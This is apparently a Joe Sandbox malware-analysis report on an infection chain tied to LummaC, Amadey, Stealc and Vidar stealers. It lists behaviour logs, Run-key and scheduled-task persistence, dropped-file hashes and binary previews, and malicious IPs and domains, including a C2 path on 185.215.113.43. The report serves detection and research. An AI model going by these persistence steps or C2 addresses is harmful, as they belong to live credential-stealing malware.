Excluded IPs from analysis (whitelisted): 20.189.173.22, 172.217.19.227, 64.233.161.84, 142.250.181.142, 172.217.21.35, 172.217.19.202, 216.58.208.234, 172.217.19.10, 172.217.17.42, 142.250.181.42, 142.250.181.10, 172.217.19.234, 142.250.181.138, 142.250.181.106, 172.217.17.74, 142.250.181.74, 52.149.20.212, 20.190.181.0, 23.218.208.109
Excluded domains from analysis (whitelisted): treehoneyi.click, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, undesirabkel.click, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, redirector.gvt1.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target axplong.exe, PID 6960 because there are no executed function
Execution Graph export aborted for target fkawMJ7FH8.exe, PID 6180 because it is empty
Execution Graph export aborted for target legs.exe, PID 5852 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: fkawMJ7FH8.exe

Simulations

Behavior and APIs

Time	Type	Description
11:16:01	API Interceptor	48372x Sleep call for process: axplong.exe modified
11:16:15	API Interceptor	8x Sleep call for process: legs.exe modified
11:16:23	API Interceptor	4x Sleep call for process: goldddd123.exe modified
11:16:27	API Interceptor	1x Sleep call for process: SurveillanceWalls.exe modified
11:16:44	API Interceptor	112055x Sleep call for process: 24adfe999c.exe modified
11:17:01	API Interceptor	1679x Sleep call for process: defnur.exe modified
11:17:09	API Interceptor	248x Sleep call for process: Sale.com modified
11:17:22	API Interceptor	35196x Sleep call for process: skotes.exe modified
11:17:33	API Interceptor	95169x Sleep call for process: ba327bb7fd.exe modified
11:17:47	API Interceptor	33873x Sleep call for process: 530c1fe82f.exe modified
11:17:53	API Interceptor	4152x Sleep call for process: rundll32.exe modified
11:17:56	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:18:10	API Interceptor	34x Sleep call for process: powershell.exe modified
16:15:19	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
16:16:12	Task Scheduler	Run new task: defnur path: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
16:16:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 24adfe999c.exe C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
16:16:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 24adfe999c.exe C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
16:17:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ba327bb7fd.exe C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
16:17:04	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
16:17:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ba327bb7fd.exe C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse
	9pyUjy2elE.exe	Get hash	malicious	LummaC	Browse
	NQbg5Ht2hW.exe	Get hash	malicious	LummaC	Browse
	BZuk2UI1RC.exe	Get hash	malicious	LummaC	Browse
	EI3TafelpV.exe	Get hash	malicious	LummaC	Browse
	6S7hoBEHvr.exe	Get hash	malicious	LummaC	Browse
	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse
185.215.113.43	uLkHEqZ3u3.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fannleadyn.click	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.63.229
s3-w.us-east-1.amazonaws.com	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	52.217.75.84
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	3.5.25.145
	payment_3493.pdf	Get hash	malicious	Unknown	Browse	3.5.29.153
	FBmz85HS0d.exe	Get hash	malicious	LummaC	Browse	3.5.25.82
	BJQizQ6sqT.exe	Get hash	malicious	LummaC	Browse	3.5.29.90
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	52.216.152.124
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	52.217.136.89
	LP4a6BowQN.exe	Get hash	malicious	LummaC	Browse	16.182.101.249
	zLP3oiwG1g.exe	Get hash	malicious	LummaC	Browse	52.217.67.100
	Yh6fS6qfTE.exe	Get hash	malicious	LummaC	Browse	52.217.18.140
pancakedipyps.click	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.23.76
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.209.202

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	BVGvbpplT8.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
CLOUDFLARENETUS	OtHVIQ2ge4.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	fr2Mul3G6m.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	ChoForgot.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	t8cdzT49Yr.exe	Get hash	malicious	LummaC	Browse	172.67.199.72
	SalmonSamurai.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SalmonSamurai.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	MT Eagle Asia 11.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Payout Receipts.pptx	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	http://tax-com.com	Get hash	malicious	Unknown	Browse	172.67.203.198
	https://www.cocol88.site/l6v3z.php	Get hash	malicious	Unknown	Browse	104.21.63.207

Process:	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1371207751183456
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cF/I4:MnlyfnGtxnfVuSVumEHFw4
MD5:	643AC1E34BE0FDE5FA0CD279E476DF3A
SHA1:	241B9EA323D640B82E8085803CBE3F61FEEA458F
SHA-256:	C44B4270F1F0B4FCB13533D2FC023443DBAFB24D355286C6AE1493DBCD96B7E2
SHA-512:	73D0F938535D93CC962EF752B1544FA8A2E4194C8979FB4778D0B84B70D32C6EDF8CC8559C9CEFBAF9681FB3BC1D345086AFCA4CA5FC8FB88100E48679AB1EF8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JECAEHJJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1221538113908904
Encrypted:	false
SSDEEP:	192:r2qAdB9TbTbuDDsnxCkvSAE+WslKOMq+8ESRR9crV+J3mLxAXd:r2qOB1nxCkvSAELyKOMq+8ETZKoxAX
MD5:	C1AE02DC8BFF5DD65491BF71C0B740A7
SHA1:	6B68C7B76FB3D1F36D6CF003C60B1571C62C0E0F
SHA-256:	CF2E96737B5DDC980E0F71003E391399AAE5124C091C254E4CCCBC2A370757D7
SHA-512:	01F8CA51310726726B0B936385C869CDDBC9DD996B488E539B72C580BD394219774C435482E618D58EB8F08D411411B63912105E4047CB29F845B2D07DE3E0E1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKFBFIJJECGCAAAFCBG

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKEBFBFIEHIDAAAAFHCF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_daw21.exe_2c487d58c69cb0e118b9a9eeb0a7207e9965bed0_a4ef3901_5ea412ea-2ab9-4835-a71c-49ad29507da4\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.957059941130256
Encrypted:	false
SSDEEP:	192:q4y2Lwxu0BU/H1mjvYZrRtwzuiFrZ24IO8EFuV:u2LwxVBU/QjeCzuiFrY4IO8EsV
MD5:	5F24D8233FC0A75EAAAA0B4F1002E74E
SHA1:	0BEE6E4DEE5AEE79220CB4F1B1199C15C4B85BC3
SHA-256:	4040B0E6A0DF7DEBEBB9A66A49403DCE97A7576B84753F9306885EAC44926A17
SHA-512:	E870C0787D02D793B993BFF9926894EB750479002F3AE28D333F74704A3262F022592FBA9FDEEF405D9D4598E008333FCC2EE19D2812D74961AA01A8AA8D9EFE
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.4.4.4.2.2.4.6.2.0.1.8.1.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.4.4.4.2.2.7.5.5.7.6.8.8.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.e.a.4.1.2.e.a.-.2.a.b.9.-.4.8.3.5.-.a.7.1.c.-.4.9.a.d.2.9.5.0.7.d.a.4.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.3.a.8.c.4.d.5.-.6.3.9.4.-.4.c.3.0.-.a.6.8.a.-.d.a.f.0.f.4.e.1.1.1.3.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.d.a.w.2.1...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.3.d.c.-.0.0.0.1.-.0.0.1.4.-.1.9.9.d.-.b.3.0.6.5.6.5.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.9.9.8.4.3.7.e.7.9.c.6.8.e.3.b.9.7.9.c.3.1.8.6.e.8.1.5.4.e.5.5.0.0.0.0.f.f.f.f.!.0.0.0.0.f.5.4.3.a.a.3.a.d.5.5.c.4.b.4.f.e.1.7.6.b.c.6.1.0.c.6.d.9.0.f.f.2.7.8.a.8.b.2.f.!.d.a.w.2.1...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER45F6.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Dec 23 16:17:06 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	127994
Entropy (8bit):	1.5567604835036701
Encrypted:	false
SSDEEP:	384:mdS7INeE7lUXSCzqtkIU48pHumYcNXOwPxDsX7clOz04kd0mDCmMa:yS72eE44WNXO4w7MxdD
MD5:	C1784C934EC427EC7EFA977306E74AAF
SHA1:	A157631EB60448C9E38273CADA12A0536BDC936A
SHA-256:	DD7227B316CFA9E0F856F080D579AD63DAA9BCBC7E0838E0F5C35136C9F4C5D4
SHA-512:	A82BB120A62085382B0A016D070EE40AC911A83A2A683DA1939336BED8567E7413DEDCA38D012786038F53EE5B7499C25815CD1C45E783745B4FBA2C5A3D53BB
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .........ig.........................................E..........T.......8...........T...........p6..........................................................................................................eJ....... ......GenuineIntel............T............ig.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4C9E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8308
Entropy (8bit):	3.690913620243782
Encrypted:	false
SSDEEP:	192:R6l7wVeJRY6JUd7i6YPG56RgmfM6DtUpr+89bbx/7sfJZJm:R6lXJe62d7i6YI6RgmfM64bx/Af0
MD5:	E9C0900ED19EC1B04CA45828ED80774A
SHA1:	0398646CA7594507517608E37DEC6786F169FB61
SHA-256:	4318BCFB0C1179EF54C1B8E17FE9023C4763F93AA986EF109785A0B9139D993E
SHA-512:	5B47738C9F6CAFECD7BFEF545B1CFF05389002877BD2EDEA0E03293CEE8AF585BBE2AE5E3BAFA03331AFF6018777DF75A855D9D9C9CF7B1A5033C28AF93281CC
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.9.8.8.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4CDE.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4558
Entropy (8bit):	4.433327610954578
Encrypted:	false
SSDEEP:	48:cvIwWl8zsFJg77aI9aNWpW8VY/Ym8M4J7NeFDf+q85+/h1Y/Wd:uIjffI7g87V/J7sfkah1Y/Wd
MD5:	6CE607764FBA974AD907ED996770A6AC
SHA1:	EE7AFB030B39C03E347D604119EEF0D241B85C95
SHA-256:	2A44A254FFD6C919E3957DBBC1736D8D7C97A0DA9A06CD4C6ECF8125AA3B1648
SHA-512:	493B7DAA7280E4A779F70A280E3049E6DE8A55211A279AE7A8863854460BC3AB56BCB885D48727B6ED412BC49575E394AFC2449C2335EEFAD5135FAAF074082A
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="644119" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	6.647237316759698
Encrypted:	false
SSDEEP:	1536:MKTCQ/hiFSyC83WOkP6giKOKZZrp8NoahEyAMocGV0pZqN1SPwd0EU:MPFC8mOkPDLZas3Moh0Lqvk
MD5:	AFFD61B0B3889ACF6602D3DA29EC51FE
SHA1:	BAE39562B7720F4580CA428E4F661EADCDACE2C2
SHA-256:	DE842F983514C008FEF8D297E8DC76145A1C079955C3D1040F2F1B427E6EDDA5
SHA-512:	C4C612E7545C3340C6965B4A526DD12E7A3D51F00C0B2E87EF7FD7B6EDE005F9ACCF5013AA5692A19B739AFE9B7C42896DA251E184DD18BF815D50F56227E12D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\I0XmI2t[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3083776
Entropy (8bit):	6.4573715557920695
Encrypted:	false
SSDEEP:	49152:WTuLCWzBfjFCnSWT1fsrdksICC1jBSzK/Er:1FcKj3
MD5:	75CA34215F6E3916C51C0AF34FC17284
SHA1:	3726BA089194DF9221B1EED520D62E452D74D509
SHA-256:	4D2340448332A51CEAFE2CB2562B2441590EFF605B7FC0478001AD103F495955
SHA-512:	51A8285CD0C989CA4A659FB84F401F81E92BCC9A2B03F3F55DA565BC2A9B6FEFB115DDB0009D675E265E391C65FB4DEFC6326037B70B03EB6ED1364F1D7DC679
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 52%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................q^.....q^.....q^....._..............G...A_.....A_...........A_.....Y.....Y.....Rich....................PE..d....._g.........."....(............`..........@..............................C...........`..........................................H@.\...lH@.......B.b.....A..\............C.....0.=.T.....................=.(....=.@.............'............................. ..].......^.................. ..` .h....p.......b.............. ..` ................................. ..q....'..r..................@..@ ......p@.. ...r-.............@... ..\....A..^....-.............@..@ .b.....B.....................@..@ .......C......./.............@..B........................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\add[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\goldddd123[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859703632614266
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtX+AuuweJH9RKC6cmulcfJbBiv0N:pG+XeJH9Rp6RtfNLtkXeJH9Rp6RtfNLj
MD5:	2D6F91549D53930821EA4CF0FBD54B29
SHA1:	8D22716E08327026FD0E0693EB4607008F189A79
SHA-256:	5601BB520CE3526F6A6E23646183E822D531E402BA174225CE8541D57A8B8630
SHA-512:	D8CC636347DDB97E596625A3EA61A6F3AD9083EEDC3421F9E8D19B03C824A3BB2F582B689E341BFD951EC6CE13CF8FE3218325F97B337ED4E3314E23F1EF94C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\key[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
